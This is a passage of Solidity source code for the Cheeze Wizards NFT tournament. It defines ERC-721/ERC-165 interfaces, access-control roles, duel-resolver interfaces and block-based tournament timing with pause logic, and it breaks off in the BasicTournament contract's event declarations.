/// @dev https://eips.ethereum.org/EIPS/eip-165
interface ERC165Interface {
/// @notice Query if a contract implements an interface
/// @param interfaceId The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/// @title Shared constants used throughout the Cheeze Wizards Contracts
contract WizardConstants {
// Wizards normally have their affinity set when they are first created,
// but for example Exclusive Wizards can be created with no set affinity.
// In this case the affinity can be set by the owner.
uint8 internal constant ELEMENT_NOTSET = 0; //000
// A neutral Wizard has no particular strength or weakness with specific
// elements.
uint8 internal constant ELEMENT_NEUTRAL = 1; //001
// The fire, water and wind elements are used both to reflect an affinity
// of Elemental Wizards for a specific element, and as the moves a
// Wizard can make during a duel.
// Note thta if these values change then `moveMask` and `moveDelta` in
// ThreeAffinityDuelResolver would need to be updated accordingly.
uint8 internal constant ELEMENT_FIRE = 2; //010
uint8 internal constant ELEMENT_WATER = 3; //011
uint8 internal constant ELEMENT_WIND = 4; //100
uint8 internal constant MAX_ELEMENT = ELEMENT_WIND;
}
contract ERC1654 {
/// @dev bytes4(keccak256("isValidSignature(bytes32,bytes)")
bytes4 public constant ERC1654_VALIDSIGNATURE = 0x1626ba7e;
/// @dev Should return whether the signature provided is valid for the provided data
/// @param hash 32-byte hash of the data that is signed
/// @param _signature Signature byte array associated with _data
/// MUST return the bytes4 magic value 0x1626ba7e when function passes.
/// MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)
/// MUST allow external calls
function isValidSignature(
bytes32 hash,
bytes calldata _signature)
external
view
returns (bytes4);
}
/**
* @title IERC165
* @dev https://eips.ethereum.org/EIPS/eip-165
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract WizardGuildInterfaceId {
bytes4 internal constant _INTERFACE_ID_WIZARDGUILD = 0x41d4d437;
}
/// @title The public interface of the Wizard Guild
/// @notice The methods listed in this interface (including the inherited ERC-721 interface),
/// make up the public interface of the Wizard Guild contract. Any Contracts that wish
/// to make use of Cheeze Wizard NFTs (such as Cheeze Wizards Tournaments!) should use
/// these methods to ensure they are working correctly with the base NFTs.
contract WizardGuildInterface is IERC721, WizardGuildInterfaceId {
/// @notice Returns the information associated with the given Wizard
/// owner - The address that owns this Wizard
/// innatePower - The innate power level of this Wizard, set when minted and entirely
/// immutable
/// affinity - The Elemental Affinity of this Wizard. For most Wizards, this is set
/// when they are minted, but some exclusive Wizards are minted with an affinity
/// of 0 (ELEMENT_NOTSET). A Wizard with an NOTSET affinity should NOT be able
/// to participate in Tournaments. Once the affinity of a Wizard is set to a non-zero
/// value, it can never be changed again.
/// metadata - A 256-bit hash of the Wizard's metadata, which is stored off chain. This
/// contract doesn't specify format of this hash, nor the off-chain storage mechanism
/// but, let's be honest, it's probably an IPFS SHA-256 hash.
///
/// NOTE: Series zero Wizards have one of four Affinities: Neutral (1), Fire (2), Water (3)
/// or Air (4, sometimes called "Wind" in the code). Future Wizard Series may have
/// additional Affinities, and clients of this API should be prepared for that
/// eventuality.
function getWizard(uint256 id) external view returns (address owner, uint88 innatePower, uint8 affinity, bytes32 metadata);
/// @notice Sets the affinity for a Wizard that doesn't already have its elemental affinity chosen.
/// Only usable for Exclusive Wizards (all non-Exclusives must have their affinity chosen when
/// conjured.) Even Exclusives can't change their affinity once it's been chosen.
///
/// NOTE: This function can only be called by the series minter, and (therefore) only while the
/// series is open. A Wizard that has no affinity when a series is closed will NEVER have an Affinity.
/// BTW- This implies that a minter is responsible for either never minting ELEMENT_NOTSET
/// Wizards, or having some public mechanism for a Wizard owner to set the Affinity after minting.
/// @param wizardId The id of the wizard
/// @param newAffinity The new affinity of the wizard
function setAffinity(uint256 wizardId, uint8 newAffinity) external;
/// @notice A function to be called that conjures a whole bunch of Wizards at once! You know how
/// there's "a pride of lions", "a murder of crows", and "a parliament of owls"? Well, with this
/// here function you can conjure yourself "a stench of Cheeze Wizards"!
///
/// Unsurprisingly, this method can only be called by the registered minter for a Series.
/// @param powers the power level of each wizard
/// @param affinities the Elements of the wizards to create
/// @param owner the address that will own the newly created Wizards
function mintWizards(
uint88[] calldata powers,
uint8[] calldata affinities,
address owner
) external returns (uint256[] memory wizardIds);
/// @notice A function to be called that conjures a series of Wizards in the reserved ID range.
/// @param wizardIds the ID values to use for each Wizard, must be in the reserved range of the current Series
/// @param affinities the Elements of the wizards to create
/// @param powers the power level of each wizard
/// @param owner the address that will own the newly created Wizards
function mintReservedWizards(
uint256[] calldata wizardIds,
uint88[] calldata powers,
uint8[] calldata affinities,
address owner
) external;
/// @notice Sets the metadata values for a list of Wizards. The metadata for a Wizard can only be set once,
/// can only be set by the COO or Minter, and can only be set while the Series is still open. Once
/// a Series is closed, the metadata is locked forever!
/// @param wizardIds the ID values of the Wizards to apply metadata changes to.
/// @param metadata the raw metadata values for each Wizard. This contract does not define how metadata
/// should be interpreted, but it is likely to be a 256-bit hash of a complete metadata package
/// accessible via IPFS or similar.
function setMetadata(uint256[] calldata wizardIds, bytes32[] calldata metadata) external;
/// @notice Returns true if the given "spender" address is allowed to manipulate the given token
/// (either because it is the owner of that token, has been given approval to manage that token)
function isApprovedOrOwner(address spender, uint256 tokenId) external view returns (bool);
/// @notice Verifies that a given signature represents authority to control the given Wizard ID,
/// reverting otherwise. It handles three cases:
/// - The simplest case: The signature was signed with the private key associated with
/// an external address that is the owner of this Wizard.
/// - The signature was generated with the private key associated with an external address
/// that is "approved" for working with this Wizard ID. (See the Wizard Guild and/or
/// the ERC-721 spec for more information on "approval".)
/// - The owner or approval address (as in cases one or two) is a smart contract
/// that conforms to ERC-1654, and accepts the given signature as being valid
/// using its own internal logic.
///
/// NOTE: This function DOES NOT accept a signature created by an address that was given "operator
/// status" (as granted by ERC-721's setApprovalForAll() functionality). Doing so is
/// considered an extreme edge case that can be worked around where necessary.
/// @param wizardId The Wizard ID whose control is in question
/// @param hash The message hash we are authenticating against
/// @param sig the signature data; can be longer than 65 bytes for ERC-1654
function verifySignature(uint256 wizardId, bytes32 hash, bytes calldata sig) external view;
/// @notice Convienence function that verifies signatures for two wizards using equivalent logic to
/// verifySignature(). Included to save on cross-contract calls in the common case where we
/// are verifying the signatures of two Wizards who wish to enter into a Duel.
/// @param wizardId1 The first Wizard ID whose control is in question
/// @param wizardId2 The second Wizard ID whose control is in question
/// @param hash1 The message hash we are authenticating against for the first Wizard
/// @param hash2 The message hash we are authenticating against for the first Wizard
/// @param sig1 the signature data corresponding to the first Wizard; can be longer than 65 bytes for ERC-1654
/// @param sig2 the signature data corresponding to the second Wizard; can be longer than 65 bytes for ERC-1654
function verifySignatures(
uint256 wizardId1,
uint256 wizardId2,
bytes32 hash1,
bytes32 hash2,
bytes calldata sig1,
bytes calldata sig2) external view;
}
// We use a contract and multiple inheritence to expose this constant.
// It's the best that Solidity offers at the moment.
contract DuelResolverInterfaceId {
/// @notice The erc165 interface ID
bytes4 internal constant _INTERFACE_ID_DUELRESOLVER = 0x41fc4f1e;
}
/// @notice An interface for Contracts that resolve duels between Cheeze Wizards. Abstracting this out
/// into its own interface and instance allows for different tournaments to use
/// different duel mechanics while keeping the core tournament logic unchanged.
contract DuelResolverInterface is DuelResolverInterfaceId, ERC165Interface {
/// @notice Indicates if the given move set is a valid input for this duel resolver.
/// It's important that this method is called before a move set is committed to
/// because resolveDuel() will abort if it the moves are invalid, making it
/// impossible to resolve the duel.
function isValidMoveSet(bytes32 moveSet) public pure returns(bool);
/// @notice Indicates that a particular affinity is a valid input for this duel resolver.
/// Should be called before a Wizard is entered into a tournament. As a rule, Wizard
/// Affinities don't change, so there's not point in checking for each duel.
///
/// @dev This method should _only_ return false for affinities that are
/// known to cause problems with your duel resolver. If your resolveDuel() function
/// can safely work with any affinity value (even if it just ignores the values that
/// it doesn't know about), it should return true.
function isValidAffinity(uint256 affinity) public pure returns(bool);
/// @notice Resolves the duel between two Cheeze Wizards given their chosen move sets, their
/// powers, and each Wizard's affinity. It is the responsibility of the Tournament contract
/// to ensure that ALL Wizards in a Tournament have an affinity value that is compatible with
/// the logic of this DuelResolver. It must also ensure that both move sets are valid before
/// those move sets are locked in, otherwise the duel can never be resolved!
///
/// Returns the amount of power to be transferred from the first Wizard to the second Wizard
/// (which will be a negative number if the second Wizard wins the duel), zero in the case of
/// a tie.
/// @param moveSet1 The move set for the first Wizard. The interpretation and therefore valid
/// values for this are determined by the individual duel resolver.
/// @param moveSet2 The move set for the second Wizard.
function resolveDuel(
bytes32 moveSet1,
bytes32 moveSet2,
uint256 power1,
uint256 power2,
uint256 affinity1,
uint256 affinity2)
public pure returns(int256);
}
/// @title Contract that manages addresses and access modifiers for certain operations.
/// @author Dapper Labs Inc. (https://www.dapperlabs.com)
contract AccessControl {
/// @dev The address of the master administrator account that has the power to
/// update itself and all of the other administrator addresses.
/// The CEO account is not expected to be used regularly, and is intended to
/// be stored offline (i.e. a hardware device kept in a safe).
address public ceoAddress;
/// @dev The address of the "day-to-day" operator of various priviledged
/// functions inside the smart contract. Although the CEO has the power
/// to replace the COO, the CEO address doesn't actually have the power
/// to do "COO-only" operations. This is to discourage the regular use
/// of the CEO account.
address public cooAddress;
/// @dev The address that is allowed to move money around. Kept seperate from
/// the COO because the COO address typically lives on an internet-connected
/// computer.
address payable public cfoAddress;
// Events to indicate when access control role addresses are updated.
event CEOTransferred(address previousCeo, address newCeo);
event COOTransferred(address previousCoo, address newCoo);
event CFOTransferred(address previousCfo, address newCfo);
/// @dev The AccessControl constructor sets the `ceoAddress` to the sender account. Also
/// initializes the COO and CFO to the passed values (CFO is optional and can be address(0)).
/// @param newCooAddress The initial COO address to set
/// @param newCfoAddress The initial CFO to set (optional)
constructor(address newCooAddress, address payable newCfoAddress) public {
_setCeo(msg.sender);
setCoo(newCooAddress);
if (newCfoAddress != address(0)) {
setCfo(newCfoAddress);
}
}
/// @notice Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress, "Only CEO");
_;
}
/// @notice Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress, "Only COO");
_;
}
/// @notice Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress, "Only CFO");
_;
}
function checkControlAddress(address newController) internal view {
require(newController != address(0), "Zero access control address");
require(newController != ceoAddress, "CEO address cannot be reused");
}
/// @notice Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param newCeo The address of the new CEO
function setCeo(address newCeo) external onlyCEO {
checkControlAddress(newCeo);
_setCeo(newCeo);
}
/// @dev An internal utility function that updates the CEO variable and emits the
/// transfer event. Used from both the public setCeo function and the constructor.
function _setCeo(address newCeo) private {
emit CEOTransferred(ceoAddress, newCeo);
ceoAddress = newCeo;
}
/// @notice Assigns a new address to act as the COO. Only available to the current CEO.
/// @param newCoo The address of the new COO
function setCoo(address newCoo) public onlyCEO {
checkControlAddress(newCoo);
emit COOTransferred(cooAddress, newCoo);
cooAddress = newCoo;
}
/// @notice Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param newCfo The address of the new CFO
function setCfo(address payable newCfo) public onlyCEO {
checkControlAddress(newCfo);
emit CFOTransferred(cfoAddress, newCfo);
cfoAddress = newCfo;
}
}
/// @title TournamentTimeAbstract - abstract contract for controlling time for Cheeze Wizards.
/// @notice Time is important in Cheeze Wizards, and there are a variety of different ways of
/// slicing up time that we should clarify here at the outset:
///
/// 1. The tournament is split into three major PHASES:
/// - The first Phase is the Admission Phase. During this time, Wizards can be entered into
/// the tournament with their admission fee, and will be given a power level commensurate
/// with that fee. Their power level can not exceed the base power level encoded into the NFT.
/// No duels take place during this phase.
/// - The second Phase is the Revival Phase. During this time, new Wizards can enter the tournament,
/// eliminated Wizards can be revived, and the dueling commences!
/// - The third phase is the Elimination Phase. It's all duels, all the time. No new Wizards can enter,
/// all eliminations are _final_. It's at this time that the Blue Mold begins to grow, forcing
/// Wizards to engage in battle or be summarily eliminated.
/// - Collectively the phases where Wizards can enter the tournament (i.e. Admission Phase and
/// Revival Phase) are the Enter Phases.
/// - Collectively the phases where Wizards can duel (i.e. Revival Phase and Elimination Phase)
/// are the Battle Phases.
///
/// 2. During the Battle Phases, where Wizards can duel, we break time up into a series of repeating WINDOWS:
/// - The first Window is the Ascension Window. During the Elimination Phase, Ascension Windows are critically
/// important: Any Wizard which is in danger of being eliminated by the next Blue Mold power increase
/// can attempt to Ascend during this time. If multiple Wizards attempt to Ascend, they are paired
/// off into Duels to Exhaustion: A one-time, winner-takes-all battle that sees one Wizard triumphant
/// and the other Wizard eliminated from the tournament. If an odd number of Wizards attempt to Ascend,
/// the last Wizard to attempt to Ascend remains in the Ascension Chamber where they _must_ accept the
/// first duel challenge offered to them in the following Fight Window. During the Revival Phase, the time
/// slice which would be an Ascension Windows is counted as more or less nothing.
/// - The second Window is the Fight Window. This is where all the fun happens! Wizards challenge Wizards,
/// and their duels result in power transfers. But beware! If your power level drops to zero (or below
/// the Blue Mold level), you will be eliminated!
/// - The third Window is the Resolution Window. This is a period of time after the Fight Window equal
/// to the maximum length of a duel. During the Resolution Window, the only action that most Wizards
/// can take is to reveal moves for duels initiated during the Fight Window. However, this is also the
/// time slice during which a successfully Ascending Wizard is able to power up!
/// - The fourth Window is the Culling Window. During the Elimination Phase, the Culling Window is used
/// to permanently remove all Wizards who have been reduced to zero power (are tired), or who have fallen below
/// the power level of the inexorable Blue Mold.
///
/// 3. A complete sequence of four Windows is called a SESSION. During the official Cheeze Wizard tournament,
/// we will set the Session length to as close to 8 hours as possible (while still using blocks as time
/// keeping mechanism), ensuring three Sessions per day. Other Tournaments may have very different time limits.
///
/// A Handy Diagram!
/// ...--|--asc.--|------fight------|--res--|-----cull------|--asc.--|------fight------|--res--|-----cull--...
/// .....|^^^^^^^^^^^^^^^^^^ 1 session ^^^^^^^^^^^^^^^^^^^^^|...
contract TournamentTimeAbstract is AccessControl {
event Paused(uint256 pauseEndingBlock);
/// @dev We pack these parameters into a struct to save storage costs.
struct TournamentTimeParameters {
// The block height at which the tournament begins. Starts in the Admission Phase.
uint48 tournamentStartBlock;
// The block height after which the pause will end.
uint48 pauseEndingBlock;
// The duration (in blocks) of the Admission Phase.
uint32 admissionDuration;
// The duration (in blocks) of the Revival Phase; the Elimination Phase has no time limit.
uint32 revivalDuration;
// The maximum duration (in blocks) between the second commit in a normal duel and when it times out.
// Ascension Duels always time out at the end of the Resolution Phase following the Fight or Ascension
// Window in which they were initiated.
uint32 duelTimeoutDuration;
}
TournamentTimeParameters internal tournamentTimeParameters;
// This probably looks insane, but there is a method to our madness!
//
// Checking which window we are in is something that happens A LOT, especially during duels.
// The naive way of checking this is gas intensive, as it either involves data stored in
// multiple storage slots, or by performing a number of computations for each check. By caching all
// of the data needed to compute if we're in a window in a single struct means that
// we can do the check cost effectively using a single SLOAD. Unfortunately, different windows need different
// data, so we end up storing A LOT of duplicate data. This is a classic example of
// optimizing for one part of the code (fast checking if we're in a window) at the expense of another
// part of the code (overall storage footprint and deployment gas cost). In
// the common case this is a significant improvement in terms of gas usage, over the
// course of an entire Tournament.
// The data needed to check if we are in a given Window
struct WindowParameters {
// The block number that the first window of this type begins
uint48 firstWindowStartBlock;
// A copy of the pause ending block, copied into this storage slot to save gas
uint48 pauseEndingBlock;
// The length of an entire "session" (see above for definitions), ALL windows
// repeat with a period of one session.
uint32 sessionDuration;
// The duration of this window
uint32 windowDuration;
}
WindowParameters internal ascensionWindowParameters;
WindowParameters internal fightWindowParameters;
WindowParameters internal resolutionWindowParameters;
WindowParameters internal cullingWindowParameters;
// Another struct, with another copy of some of the same parameters as above. This time we are
// collecting everything related to computing the power of the Blue Mold into one place.
struct BlueMoldParameters {
uint48 blueMoldStartBlock;
uint32 sessionDuration;
uint32 moldDoublingDuration;
uint88 blueMoldBasePower;
}
BlueMoldParameters internal blueMoldParameters;
constructor(
address _cooAddress,
uint256 tournamentStartBlock,
uint256 admissionDuration,
uint256 revivalDuration,
uint256 ascensionDuration,
uint256 fightDuration,
uint256 cullingDuration,
uint256 duelTimeoutDuration,
uint256 blueMoldBasePower,
uint256 sessionsBetweenMoldDoubling
)
internal AccessControl(_cooAddress, address(0)) {
require(tournamentStartBlock > block.number, "Invalid start time");
// The contract block arithmetic presumes a block number below 2^47,
// so we enforce that constraint here to avoid risk of an overflow.
require(tournamentStartBlock < 1 << 47, "Start block too high");
// Even if you want to have a very fast Tournament, a timeout of fewer than 20 blocks
// is asking for trouble. We would always recommend a value >100.
require(duelTimeoutDuration >= 20, "Timeout too short");
// Rather than checking all of these inputs against zero, we just multiply them all together and exploit
// the fact that if any of them are zero, their product will also be zero.
// Theoretically, you can find five non-zero numbers that multiply to zero because of overflow.
// However, at least one of those numbers would need to be >50 bits long which is large enough that it
// would also be an invalid duration! :P
require(
(admissionDuration * revivalDuration * ascensionDuration * fightDuration * cullingDuration) != 0,
"Time durations must be non-0");
// The Fight Window needs to be at least twice as long as the Duel Timeout. Necessary to
// ensure there is enough time to challenge an Ascending Wizard.
require(fightDuration >= duelTimeoutDuration * 2, "Fight window too short");
// Make sure the Culling Window is at least as big as a Fight Window
require(cullingDuration >= duelTimeoutDuration, "Culling window too short");
uint256 sessionDuration = ascensionDuration + fightDuration + duelTimeoutDuration + cullingDuration;
// Make sure that the end of the Revival Phase coincides with the start of a
// new session. Many of our calculations depend on this fact!
require((revivalDuration % sessionDuration) == 0, "Revival/Session length mismatch");
tournamentTimeParameters = TournamentTimeParameters({
tournamentStartBlock: uint48(tournamentStartBlock),
pauseEndingBlock: uint48(0),
admissionDuration: uint32(admissionDuration),
revivalDuration: uint32(revivalDuration),
duelTimeoutDuration: uint32(duelTimeoutDuration)
});
uint256 firstSessionStartBlock = tournamentStartBlock + admissionDuration;
// NOTE: ascension windows don't begin until after the Revival Phase is over
ascensionWindowParameters = WindowParameters({
firstWindowStartBlock: uint48(firstSessionStartBlock + revivalDuration),
pauseEndingBlock: uint48(0),
sessionDuration: uint32(sessionDuration),
windowDuration: uint32(ascensionDuration)
});
fightWindowParameters = WindowParameters({
firstWindowStartBlock: uint48(firstSessionStartBlock + ascensionDuration),
pauseEndingBlock: uint48(0),
sessionDuration: uint32(sessionDuration),
windowDuration: uint32(fightDuration)
});
resolutionWindowParameters = WindowParameters({
firstWindowStartBlock: uint48(firstSessionStartBlock + ascensionDuration + fightDuration),
pauseEndingBlock: uint48(0),
sessionDuration: uint32(sessionDuration),
windowDuration: uint32(duelTimeoutDuration)
});
// NOTE: The first Culling Window only occurs after the first Revival Phase is over.
uint256 cullingStart = firstSessionStartBlock + revivalDuration + ascensionDuration + fightDuration + duelTimeoutDuration;
cullingWindowParameters = WindowParameters({
firstWindowStartBlock: uint48(cullingStart),
pauseEndingBlock: uint48(0),
sessionDuration: uint32(sessionDuration),
windowDuration: uint32(cullingDuration)
});
// Note: BasicTournament.revive() depends on blueMoldBasePower always being
// positive, so if this constraint somehow ever changes, that function
// will need to be verified for correctness
require(blueMoldBasePower > 0 && blueMoldBasePower < 1<<88, "Invalid mold power");
require(sessionsBetweenMoldDoubling > 0, "The mold must double!");
blueMoldParameters = BlueMoldParameters({
blueMoldStartBlock: uint48(firstSessionStartBlock + revivalDuration),
sessionDuration: uint32(sessionDuration),
moldDoublingDuration: uint32(sessionsBetweenMoldDoubling * sessionDuration),
blueMoldBasePower: uint88(blueMoldBasePower)
});
}
/// @notice Returns true if the current block is in the Revival Phase
function _isRevivalPhase() internal view returns (bool) {
// Copying the stucture into memory once saves gas. Each access to a member variable
// counts as a new read!
TournamentTimeParameters memory localParams = tournamentTimeParameters;
if (block.number <= localParams.pauseEndingBlock) {
return false;
}
return ((block.number >= localParams.tournamentStartBlock + localParams.admissionDuration) &&
(block.number < localParams.tournamentStartBlock + localParams.admissionDuration + localParams.revivalDuration));
}
/// @notice Returns true if the current block is in the Elimination Phase
function _isEliminationPhase() internal view returns (bool) {
// Copying the stucture into memory once saves gas. Each access to a member variable
// counts as a new read!
TournamentTimeParameters memory localParams = tournamentTimeParameters;
if (block.number <= localParams.pauseEndingBlock) {
return false;
}
return (block.number >= localParams.tournamentStartBlock + localParams.admissionDuration + localParams.revivalDuration);
}
/// @dev Returns true if the current block is a valid time to enter a Wizard into the Tournament. As in,
/// it's either the Admission Phase or the Revival Phase.
function _isEnterPhase() internal view returns (bool) {
// Copying the stucture into memory once saves gas. Each access to a member variable
// counts as a new read!
TournamentTimeParameters memory localParams = tournamentTimeParameters;
if (block.number <= localParams.pauseEndingBlock) {
return false;
}
return ((block.number >= localParams.tournamentStartBlock) &&
(block.number < localParams.tournamentStartBlock + localParams.admissionDuration + localParams.revivalDuration));
}
// An internal convenience function that checks to see if we are currently in the Window
// defined by the WindowParameters struct passed as an argument.
function _isInWindow(WindowParameters memory localParams) internal view returns (bool) {
// We are never "in a window" if the contract is paused
if (block.number <= localParams.pauseEndingBlock) {
return false;
}
// If we are before the first window of this type, we are obviously NOT in this window!
if (block.number <= localParams.firstWindowStartBlock) {
return false;
}
// Use modulus to figure out how far we are past the beginning of the most recent window
// of this type
uint256 windowOffset = (block.number - localParams.firstWindowStartBlock) % localParams.sessionDuration;
// If we are in the window, we will be within duration of the start of the most recent window
return windowOffset < localParams.windowDuration;
}
/// @notice Requires the current block is in an Ascension Window
function checkAscensionWindow() internal view {
require(_isInWindow(ascensionWindowParameters), "Only during Ascension Window");
}
/// @notice Requires the current block is in a Fight Window
function checkFightWindow() internal view {
require(_isInWindow(fightWindowParameters), "Only during Fight Window");
}
/// @notice Requires the current block is in a Resolution Window
function checkResolutionWindow() internal view {
require(_isInWindow(resolutionWindowParameters), "Only during Resolution Window");
}
/// @notice Requires the current block is in a Culling Window
function checkCullingWindow() internal view {
require(_isInWindow(cullingWindowParameters), "Only during Culling Window");
}
/// @notice Returns the block number when an Ascension Battle initiated in the current block
/// should time out. This is always the end of the upcoming Resolution Window.
///
/// NOTE: This function is only designed to be called during an Ascension or
/// Fight Window, after we have entered the Elimination Phase.
/// Behaviour at other times is not defined.
function _ascensionDuelTimeout() internal view returns (uint256) {
WindowParameters memory localParams = cullingWindowParameters;
// The end of the next Resolution Window is the same as the start of the next
// Culling Window.
// First we count the number of COMPLETE sessions that will have passed between
// the start of the first Culling Window and the block one full session duration
// past the current block height. We are looking into the future to ensure that
// we with any negative values.
uint256 sessionCount = (block.number + localParams.sessionDuration -
localParams.firstWindowStartBlock) / localParams.sessionDuration;
return localParams.firstWindowStartBlock + sessionCount * localParams.sessionDuration;
}
/// @notice Returns true if there is at least one full duel timeout duration between
/// now and the end of the current Fight Window. To be used to ensure that
/// someone challenging an Ascending Wizard is given the Ascending Wizard
/// enough time to respond.
///
/// NOTE: This function is only designed to be called during a Fight Window,
/// after we have entered the Elimination Phase.
/// Behaviour at other times is not defined.
function canChallengeAscendingWizard() internal view returns (bool) {
// We start by computing the start on the next Resolution Window, using the same
// logic as in _ascensionDuelTimeout().
WindowParameters memory localParams = resolutionWindowParameters;
uint256 sessionCount = (block.number + localParams.sessionDuration -
localParams.firstWindowStartBlock) / localParams.sessionDuration;
uint256 resolutionWindowStart = localParams.firstWindowStartBlock + sessionCount * localParams.sessionDuration;
// Remember that the Resolution Window has the same duration as the duel time out
return resolutionWindowStart - localParams.windowDuration > block.number;
}
/// @notice Returns the power level of the Blue Mold at the current block.
function _blueMoldPower() internal view returns (uint256) {
BlueMoldParameters memory localParams = blueMoldParameters;
if (block.number <= localParams.blueMoldStartBlock) {
return localParams.blueMoldBasePower;
} else {
uint256 moldDoublings = (block.number - localParams.blueMoldStartBlock) / localParams.moldDoublingDuration;
// In the initialization function, we cap the maximum Blue Mold base power to a value under 1 << 88
// (which is the maximum Wizard power level, and would result in all Wizards INSTANTLY being moldy!)
// Here, we cap the number of "mold doublings" to 88. This ensures that the mold power
// can't overflow, while also ensuring that, even if blueMoldBasePower starts at 1
// that it will exceed the max power of any Wizard. This guarantees that the tournament
// will ALWAYS terminate.
if (moldDoublings > 88) {
moldDoublings = 88;
}
return localParams.blueMoldBasePower << moldDoublings;
}
}
modifier duringEnterPhase() {
require(_isEnterPhase(), "Only during Enter Phases");
_;
}
modifier duringRevivalPhase() {
require(_isRevivalPhase(), "Only during Revival Phases");
_;
}
modifier duringAscensionWindow() {
checkAscensionWindow();
_;
}
modifier duringFightWindow() {
checkFightWindow();
_;
}
modifier duringResolutionWindow() {
checkResolutionWindow();
_;
}
modifier duringCullingWindow() {
checkCullingWindow();
_;
}
/// @notice Pauses the Tournament, starting immediately, for a duration specified in blocks.
/// This function can be called if the Tournament is already paused, but only to extend the pause
/// period until at most `(block.number + sessionDuration)`. In other words, the Tournament can't be
/// paused indefinitely unless this function is called periodically, at least once every session length.
///
/// NOTE: This function is reasonably expensive and inefficient because it has to update so many storage
/// variables. This is done intentionally because pausing should be rare and it's far more important
/// to optimize the hot paths (which are the modifiers above).
///
/// @param pauseDuration the number of blocks to pause for. CAN NOT exceed the length of one Session.
function pause(uint256 pauseDuration) public onlyCOO {
uint256 sessionDuration = ascensionWindowParameters.sessionDuration;
// Require all pauses be less than one session in length
require(pauseDuration <= sessionDuration, "Invalid pause duration");
// Figure out when our pause will be done
uint48 newPauseEndingBlock = uint48(block.number + pauseDuration);
uint48 tournamentExtensionAmount = uint48(pauseDuration);
if (block.number <= tournamentTimeParameters.pauseEndingBlock) {
// If we are already paused, we need to adjust the tournamentExtension
// amount to reflect that we are only extending the pause amount, not
// setting it anew
require(tournamentTimeParameters.pauseEndingBlock > newPauseEndingBlock, "Already paused");
tournamentExtensionAmount = uint48(newPauseEndingBlock - tournamentTimeParameters.pauseEndingBlock);
}
// We now need to update all of the various structures where we cached time information
// to make sure they reflect the new information
tournamentTimeParameters.tournamentStartBlock += tournamentExtensionAmount;
tournamentTimeParameters.pauseEndingBlock = newPauseEndingBlock;
ascensionWindowParameters.firstWindowStartBlock += tournamentExtensionAmount;
ascensionWindowParameters.pauseEndingBlock = newPauseEndingBlock;
fightWindowParameters.firstWindowStartBlock += tournamentExtensionAmount;
fightWindowParameters.pauseEndingBlock = newPauseEndingBlock;
resolutionWindowParameters.firstWindowStartBlock += tournamentExtensionAmount;
resolutionWindowParameters.pauseEndingBlock = newPauseEndingBlock;
cullingWindowParameters.firstWindowStartBlock += tournamentExtensionAmount;
cullingWindowParameters.pauseEndingBlock = newPauseEndingBlock;
blueMoldParameters.blueMoldStartBlock += tournamentExtensionAmount;
emit Paused(newPauseEndingBlock);
}
function isPaused() public view returns (bool) {
return block.number <= tournamentTimeParameters.pauseEndingBlock;
}
}
// This is kind of a hacky way to expose this constant, but it's the best that Solidity offers!
contract TournamentInterfaceId {
bytes4 internal constant _INTERFACE_ID_TOURNAMENT = 0xbd059098;
}
/// @title Tournament interface, known to GateKeeper
contract TournamentInterface is TournamentInterfaceId, ERC165Interface {
// function enter(uint256 tokenId, uint96 power, uint8 affinity) external payable;
function revive(uint256 wizardId) external payable;
function enterWizards(uint256[] calldata wizardIds, uint88[] calldata powers) external payable;
// Returns true if the Tournament is currently running and active.
function isActive() external view returns (bool);
function powerScale() external view returns (uint256);
}
/// @title A basic Cheeze Wizards Tournament
/// @notice This contract mediates a Tournament between any number of Cheeze Wizards with
/// the following features:
/// - All Wizards who enter the Tournament are required to provide a contribution
/// to the Big Cheeze prize pool that is directly proportional to their power
/// level. There is no way for some Wizards to have a power level that is disproprtional
/// to their pot contribution amount; not even for the Tournament creators.
/// - All Tournaments created with this contract follow the time constraints set out in the
/// TournamentTimeAbstract contract. While different Tournament instances might run more
/// quickly or more slowly than others, the basic cadence of the Tournament is consistent
/// across all instances.
/// - The Tournament contract is designed such that, once the contract is set up, that
/// all participants can trustlessly enjoy the Tournament without fear of being ripped
/// off by the organizers. Some care needs to be taken _before_ you enter your Wizard
/// in the Tournament (including ensuring that you are actually entering into a copy
/// of this Tournament contract that hasn't been modified!), but once your Wizard has
/// been entered, you can have confidence that the rules of the contest will be followed
/// correctly, without fear of manipulation or fraud on the part of the contest creators.
contract BasicTournament is TournamentInterface, TournamentTimeAbstract, WizardConstants,
DuelResolverInterfaceId {
// A Duel officially starts (both commits are locked in on-chain)
event DuelStart(
bytes32 duelId,
uint256 wizardId1,
uint256 wizardId2,
uint256 timeoutBlock,
bool isAscensionBattle
);
// A Duel resolves normally, powers are post-resolution values
event DuelEnd(
bytes32 duelId,
uint256 wizardId1,
uint256 wizardId2,
bytes32 moveSet1,
bytes32 moveSet2,
uint256 power1,
uint256 power2
);
// A Duel times out, powers are post-resolution values
event DuelTimeOut(bytes32 duelId, uint256 wizardId1, uint256 wizardId2, uint256 power1, uint256 power2);
// A Wizard has been formally eliminated. Note that Elimination can only happen in the Elimination phase, and
// is NOT necessarily associated with a Wizard going to power zero.
event WizardElimination(uint256 wizardId);
